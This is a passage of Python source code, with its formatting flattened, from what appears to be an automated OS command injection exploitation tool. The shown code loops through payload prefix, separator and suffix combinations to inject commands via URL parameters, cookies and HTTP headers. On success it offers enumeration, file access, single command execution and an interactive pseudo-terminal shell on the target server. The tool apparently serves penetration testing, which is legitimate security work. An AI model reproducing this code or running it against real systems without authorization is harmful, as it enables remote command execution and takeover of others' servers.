alter_shell, filename) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Command execution results. shell = fb_injector.injection_results( url, OUTPUT_TEXTFILE, timesec) shell = "".join( str(p) for p in shell) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: if shell != "": # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") if not shell or shell == "": if settings.VERBOSITY_LEVEL >= 1: print("") err_msg = "The '" + cmd + "' command, does not return any output." print( settings. print_critical_msg( err_msg) + "\n") elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass except KeyboardInterrupt: # if settings.VERBOSITY_LEVEL >= 1: print("") # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: print("") return False else: sys.stdout.write("\r") sys.stdout.flush()
def cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): shell = False counter = 1 vp_flag = True no_result = True is_encoded = False export_injection_info = False if not settings.LOAD_SESSION: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + ". " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) i = 0 # Calculate all possible combinations total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACES: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: if whitespace == " ": whitespace = _urllib.parse.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): try: settings.CLASSIC_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = cb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.decision( separator, TAG, randv1, randv2) # Define prefixes & suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace( settings.SINGLE_WHITESPACE, whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: print(settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = cb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = cb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = cb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) response = cb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = cb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = cb_injector.injection_test( payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. time.sleep(timesec) shell = cb_injector.injection_test_results( response, TAG, randvcalc) if settings.VERBOSITY_LEVEL == 0: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + " (" + str( float_percent) + "%)" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if float(float_percent) >= 99.9: if no_result == True: percent = settings.FAIL_STATUS else: percent = ".. (" + str( float_percent) + "%)" elif len(shell) != 0: percent = settings.info_msg else: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" # Check if defined POST data if not settings.USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) else: checks.total_of_requests() # Print the findings to terminal. info_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: info_msg += " " + http_request_method + "" info_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name info_msg += found_vuln_parameter + " seems injectable via " info_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACES[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) #print(settings.SINGLE_WHITESPACE) break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) if not menu.file_access_options( ) and not menu.options.os_cmd and new_line: print(settings.SINGLE_WHITESPACE) # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print(settings.SINGLE_WHITESPACE) while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input( settings.print_question_msg( question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print(settings.SINGLE_WHITESPACE) break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print(settings.SINGLE_WHITESPACE) cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print(settings.SINGLE_WHITESPACE) # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print(settings.SINGLE_WHITESPACE) cb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input( settings.print_question_msg(question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "Y" if gotshell in settings.CHOICE_YES: # if not menu.options.batch: # print(settings.SINGLE_WHITESPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() while True: try: if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) cmd = _input() cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: # Command execution results. time.sleep(timesec) response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload( url, timesec) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. try: shell = cb_injector.injection_results( response, TAG, cmd) shell = "".join( str(p) for p in shell) except: print(settings. SINGLE_WHITESPACE) continue if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: shell = unescape(shell) # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) if shell != "": print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") else: if settings.VERBOSITY_LEVEL != 0: print(settings. SINGLE_WHITESPACE) err_msg = "The '" + cmd + "' command, does not return any output." print( settings. print_critical_msg( err_msg) + "\n") except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print( settings.print_error_msg(err_msg)) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) return False else: sys.stdout.write("\r") sys.stdout.flush()